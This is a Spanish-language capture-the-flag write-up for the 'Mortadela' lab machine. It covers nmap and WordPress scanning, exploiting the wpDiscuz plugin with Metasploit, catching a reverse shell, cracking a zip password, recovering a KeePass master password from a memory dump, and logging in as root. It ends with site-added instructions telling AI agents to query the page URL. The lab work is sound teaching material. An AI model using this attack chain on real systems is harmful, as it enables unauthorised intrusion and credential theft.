# Mortadela

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.68
```

para verificar la conectividad de red.

<figure><img src="/files/FMP0pK9952OFo8EiCy6u" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.68
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/fXI9xLuOFdH58V8sHy3M" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH,** el **puerto 80** perteneciente al **servicio HTTP** y el **puerto 3306** perteneciente al **servicio MySQL** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,3306 -v 192.168.1.68
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/ClfoNzk3VW5rPk7fBoTq" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página por defecto de **Apache**.

<figure><img src="/files/ghwV1ycinLX2YNTiuQxP" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.68/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/c5RHQ9vX8oPBjBK4WIUg" alt=""><figcaption></figcaption></figure>

Vemos que nos ha encontrado un directorio de **WordPress** por lo que accederemos a él.

<figure><img src="/files/yxmJ5SPHkLjvBdZbNzfg" alt=""><figcaption></figcaption></figure>

Como no encontramos nada relevante vamos a realizar un escaneo de plugins.

```
wpscan --url http://192.168.1.68/wordpress/ --plugins-detection aggressive
```

<figure><img src="/files/XwRcB3SKbUMgak6ELIyx" alt=""><figcaption></figcaption></figure>

Se nos muestra un plugin llamado **wpdiscuz** y su versión por lo que a través de **searchsploit** miraremos si esa versión contiene alguna vulnerabilidad para explotar con **Metasploit**.

<figure><img src="/files/IxSSkUfy1Z9RXvY47Wdz" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Comprobamos que sí la hay.

```bash
msfconsole
```

<figure><img src="/files/tThvOGzawnm6RL4pCcEV" alt=""><figcaption></figcaption></figure>

Buscamos plugin para la vulnerabilidad.

```bash
search wpdiscuz
```

<figure><img src="/files/ZtAzsB0Fzw5aVYvwRRYP" alt=""><figcaption></figcaption></figure>

```bash
use 0
show options
```

<figure><img src="/files/WaW7bNWqmgvZruQYQvH0" alt=""><figcaption></figcaption></figure>

Configuramos lo que nos piden.

<figure><img src="/files/Nuc2PpRxNUlYPGXg11wO" alt=""><figcaption></figcaption></figure>

Ejecutamos.

```
run
```

<figure><img src="/files/gYO5ujLkadXFxwCHCszO" alt=""><figcaption></figcaption></figure>

Ejecutamos una shell pero nos ponemos en escucha a través del puerto 443 para enviarnos una **Reverse Shell**.

<figure><img src="/files/aUPW0Dfkxp23yggzpo6M" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fKplB9UuukZzD1yz1XBc" alt=""><figcaption></figcaption></figure>

Realizamos tratamiento de la TTY. Como se nos muestra aquí: [Tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#).

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar pero no tenemos permisos. Por lo que buscamos SUID.

```bash
find / -perm -4000 -ls 2> /dev/null
```

No hay un binario para escalar privilegios. Por lo que indagamos a través de los directorios y encontramos en el directorio `/opt` un archivo **.zip**. Al descomprimirlo nos pide una contraseña. Nos lo descargamos a nuestra máquina local.

```bash
En la máquina víctima
python3 -m http.server 8080
En la máquina atacante
wget http://192.168.1.68:8080/muyconfidencial.zip
```

Ahora realizamos fuerza bruta.

```bash
zip2john muyconfidencial.zip > hash_zip
```

```bash
john hash_zip --wordlist=/usr/share/wordlists/rockyou.txt 
```

<figure><img src="/files/xm1DYj5W8fFFrswaYicN" alt=""><figcaption></figcaption></figure>

Hemos descubierto la contraseña que se nos pide para descomprimir el archivo.

<figure><img src="/files/5hR2rqz05V1GfHwfLgrV" alt=""><figcaption></figcaption></figure>

Utilizamos el siguiente script de Python para extraer contraseñas de un archivo de base de datos de **KeePass**:

<pre class="language-plaintext"><code class="lang-plaintext"><strong>https://github.com/z-jxy/keepass_dump/blob/main/keepass_dump.py
</strong></code></pre>

```bash
python3 keepass.py -f KeePass.DMP
```

<figure><img src="/files/xknVM6YZafUbBHwjzFi2" alt=""><figcaption></figcaption></figure>

Ahora creamos un diccionario con mayúsculas y minúsculas.

```bash
crunch 14 14 ABCDEFGHIJKLMNÑOPQRSTUVWXYZabcdefghijklmnñopqrstuvwxyz -t @aritrini12345 -o diccionario.txt
```

<figure><img src="/files/e283d7m0Mf6TJLanXzEv" alt=""><figcaption></figcaption></figure>

Ahora que contamos con un diccionario, procederemos a extraer el hash del archivo utilizando `keepass2john`. Posteriormente, emplearemos `john` para descubrir la contraseña.

```bash
keepass2john Database.kdbx > hash
```

```bash
john hash --wordlist=diccionario.txt
```

<figure><img src="/files/Q6Ra8ybHvypCl3PET7QK" alt=""><figcaption></figcaption></figure>

```
keepass2 Database.kdbx
```

Ingresamos la contraseña y vemos que hay un usuario **root**. Copiamos la contraseña e iniciamos sesión.

<figure><img src="/files/B1GvlY9Nw5etusOQtZhE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Jr2Z9dpG6rbegrwzrPwS" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/mortadela.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
